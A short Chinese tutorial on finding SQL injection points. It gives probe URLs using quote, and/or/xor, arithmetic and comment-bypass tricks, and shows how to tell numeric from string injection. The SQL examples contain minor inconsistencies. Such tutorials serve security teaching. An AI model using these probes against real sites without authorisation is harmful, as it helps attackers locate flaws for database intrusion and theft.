一些简单的判断注入点的方法:
1.单引号判断 http://www.xxx.com/xxx.asp?id=10’ 如果出现错误提示,则该网站可能就存在注入漏洞。
2.and判断 http://www.xxx.com/xxx.asp?id=10’and 1=1这个条件永远都是真的,所以当然返回是正常页 http://www.xxx.com/xxx.asp?id=10’and 1=2如果报错那说明存在注入漏洞,还要看报的什么错,不可能报任何错都有注入漏洞的。
3.or判断(or跟and判断方法不一样的,and是提交返回错误才有注入点,而or是提交返回正确有注入点) http://www.xxx.com/xxx.asp?id=10’or 1=1 http://www.xxx.com/xxx.asp?id=10’or 1=2
4.xor判断(xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点。) http://www.xxx.com/xxx.asp?id=10’xor 1=1 http://www.xxx.com/xxx.asp?id=10’xor 1=2
5.加减号数字判断(返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.) http://www.xxx.com/xxx.asp?id=10-0 http://www.xxx.com/xxx.asp?id=10-1 http://www.xxx.com/xxx.asp?id=10+1 (1)数字型注入 判断步骤 1.首先在参数后加个单引号,URL:www.3333.com/text.php?id=1’ 对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常; 2.在参数后加 and 1=1 www.33333.com/text.php?id=1 and 1=1 对应的sql:select * from table where id=3’ and 1=1 该语句前后都为真,语句执行正常,与原始页面无任何差异; 3.在参数后加 and 1=2 www.33333.com/text.php?id=1 and 1=2 对应的sql:select * from table where id=3’ and 1=2 该语句为假,所以无法返回结果,返回异常。 一般满足以上三点就可以认定该注入点的类型为数字型注入。 (2)字符型注入 判断步骤 1.加单引号:select * from table where name=’admin’’ 由于加单引号后变成三个单引号,则无法执行,程序会报错; 2.加 and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;(MySQL常用的注释符号有# – (后面还有个空格) /* */) 构造语句为:select * from table where name =’admin’ and 1=1#’ 可成功执行返回结果正确; 3.加and 1=2 此时sql语句为:select * from table where name=’admin’ and 1=2 –’则会报错。 如果满足以上三点的话,基本可以认定为字符型注入。
|